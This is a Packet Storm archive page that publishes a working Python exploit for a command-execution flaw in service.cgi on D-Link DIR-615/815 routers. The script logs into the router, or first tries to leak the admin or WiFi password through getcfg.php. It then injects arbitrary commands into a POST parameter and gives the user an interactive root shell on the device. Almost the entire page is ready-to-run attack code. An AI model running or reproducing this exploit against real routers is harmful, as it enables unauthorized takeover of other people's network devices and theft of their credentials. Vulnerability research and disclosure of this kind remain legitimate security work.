Exploit the possiblities

D-Link Routers 110/412/615/815 Arbitrary Code Execution

D-Link Routers 110/412/615/815 Arbitrary Code Execution
Posted Jan 12, 2018
Authored by Cr0n1c

D-Link routers 110/412/615/815 versions prior to 1.03 suffer from a service.cgi arbitrary code execution vulnerability.

tags | exploit, arbitrary, cgi, code execution
MD5 | 3d62c7e0cb26b053130f3ca201d0f494

D-Link Routers 110/412/615/815 Arbitrary Code Execution

Change Mirror Download
#!/usr/bin/python

# Exploit Title: D-Link WAP 615/645/815 < 1.03 service.cgi RCE
# Exploit Author: Cr0n1c
# Vendor Homepage: us.dlink.com
# Software Link: https://github.com/Cr0n1c/dlink_shell_poc/blob/master/dlink_auth_rce
# Version: 1.03
# Tested on: D-Link 815 v1.03

import argparse
import httplib
import random
import re
import requests
import string
import urllib2

DLINK_REGEX = ['Product Page : <a href="http://support.dlink.com" target="_blank">(.*?)<',
'<div class="modelname">(.*?)</div>',
'<div class="pp">Product Page : (.*?)<a href="javascript:check_is_modified">'
]


def dlink_detection():
try:
r = requests.get(URL, timeout=10.00)
except requests.exceptions.ConnectionError:
print "Error: Failed to connect to " + URL
return False

if r.status_code != 200:
print "Error: " + URL + " returned status code " + str(r.status_code)
return False

for rex in DLINK_REGEX:
if re.search(rex, r.text):
res = re.findall(rex, r.text)[0]
return res

print "Warning: Unable to detect device for " + URL
return "Unknown Device"


def create_session():
post_content = {"REPORT_METHOD": "xml",
"ACTION": "login_plaintext",
"USER": "admin",
"PASSWD": PASSWORD,
"CAPTCHA": ""
}

try:
r = requests.post(URL + "/session.cgi", data=post_content, headers=HEADER)
except requests.exceptions.ConnectionError:
print "Error: Failed to access " + URL + "/session.cgi"
return False

if not (r.status_code == 200 and r.reason == "OK"):
print "Error: Did not recieve a HTTP 200"
return False

if not re.search("<RESULT>SUCCESS</RESULT>", r.text):
print "Error: Did not get a success code"
return False

return True


def parse_results(result):
print result[100:]
return result


def send_post(command, print_res=True):
post_content = "EVENT=CHECKFW%26" + command + "%26"

method = "POST"

if URL.lower().startswith("https"):
handler = urllib2.HTTPSHandler()
else:
handler = urllib2.HTTPHandler()

opener = urllib2.build_opener(handler)
request = urllib2.Request(URL + "/service.cgi", data=post_content, headers=HEADER)
request.get_method = lambda: method

try:
connection = opener.open(request)
except urllib2.HTTPError:
print "Error: failed to connect to " + URL + "/service.cgi"
return False
except urllib2.HTTPSError:
print "Error: failed to connect to " + URL + "/service.cgi"
return False

if not connection.code == 200:
print "Error: Recieved status code " + str(connection.code)
return False

attempts = 0

while attempts < 5:
try:
data = connection.read()
except httplib.IncompleteRead:
attempts += 1
else:
break

if attempts == 5:
print "Error: Chunking failed %d times, bailing." %attempts
return False

if print_res:
return parse_results(data)
else:
return data


def start_shell():
print "+" + "-" * 80 + "+"
print "| Welcome to D-Link Shell" + (" " * 56) + "|"
print "+" + "-" * 80 + "+"
print "| This is a limited shell that exploits piss poor programming. I created this |"
print "| to give you a comfort zone and to emulate a real shell environment. You will |"
print "| be limited to basic busybox commands. Good luck and happy hunting. |"
print "|" + (" " * 80) + "|"
print "| To quit type 'gtfo'" + (" " * 60) + "|"
print "+" + "-" * 80 + "+\n\n"

cmd = ""

while True:
cmd = raw_input(ROUTER_TYPE + "# ").strip()
if cmd.lower() == "gtfo":
break

send_post(cmd)


def query_getcfg(param):
post_data = {"SERVICES": param}
try:
r = requests.post(URL + "/getcfg.php", data=post_data, headers=HEADER)
except requests.exceptions.ConnectionError:
print "Error: Failed to access " + URL + "/getcfg.php"
return False

if not (r.status_code == 200 and r.reason == "OK"):
print "Error: Did not recieve a HTTP 200"
return False

if re.search("<message>Not authorized</message>", r.text):
print "Error: Not vulnerable"
return False

return r.text


def attempt_password_find():
# Going fishing in DEVICE.ACCOUNT looking for CWE-200 or no password
data = query_getcfg("DEVICE.ACCOUNT")
if not data:
return False

res = re.findall("<password>(.*?)</password>", data)
if len(res) > 0 and res != "=OoXxGgYy=":
return res[0]

# Did not find it in first attempt
data = query_getcfg("WIFI")
if not data:
return False

res = re.findall("<key>(.*?)</key>", data)
if len(res) > 0:
return res[0]

# All attempts failed, just going to return and wish best of luck!
return False


if __name__ == "__main__":
parser = argparse.ArgumentParser(description="D-Link 615/815 Service.cgi RCE")

parser.add_argument("-p", "--password", dest="password", action="store", default=None,
help="Password for the router. If not supplied then will use blank password.")
parser.add_argument("-u", "--url", dest="url", action="store", required=True,
help="[Required] URL for router (i.e. http://10.1.1.1:8080)")
parser.add_argument("-x", "--attempt-exploit", dest="attempt_exploit", action="store_true", default=False,
help="If flag is set, will attempt CWE-200. If that fails, then will attempt to discover "
"wifi password and use it.")

args = parser.parse_args()

HEADER = {"Cookie": "uid=" + "".join(random.choice(string.letters) for _ in range(10)),
"Host": "localhost",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
}

URL = args.url.lower().strip()

if not URL.startswith("http"):
URL = "http://" + URL

ROUTER_TYPE = dlink_detection()

if not ROUTER_TYPE:
print "EXITING . . ."
exit()

if args.attempt_exploit and args.password is None:
res = attempt_password_find()
if res:
PASSWORD = res
else:
PASSWORD = ""
print "[+] Switching password to: " + PASSWORD
elif args.password:
PASSWORD = args.password
else:
PASSWORD = ""

if not create_session():
print "EXITING . . ."
exit()

if len(send_post("ls", False)) == 0:
print "Appears this device [%s] is not vulnerable. EXITING . . ." %ROUTER_TYPE
exit()

start_shell()


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

January 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    16 Files
  • 4
    Jan 4th
    39 Files
  • 5
    Jan 5th
    26 Files
  • 6
    Jan 6th
    40 Files
  • 7
    Jan 7th
    2 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    25 Files
  • 10
    Jan 10th
    28 Files
  • 11
    Jan 11th
    44 Files
  • 12
    Jan 12th
    32 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    4 Files
  • 15
    Jan 15th
    31 Files
  • 16
    Jan 16th
    0 Files
  • 17
    Jan 17th
    0 Files
  • 18
    Jan 18th
    0 Files
  • 19
    Jan 19th
    0 Files
  • 20
    Jan 20th
    0 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close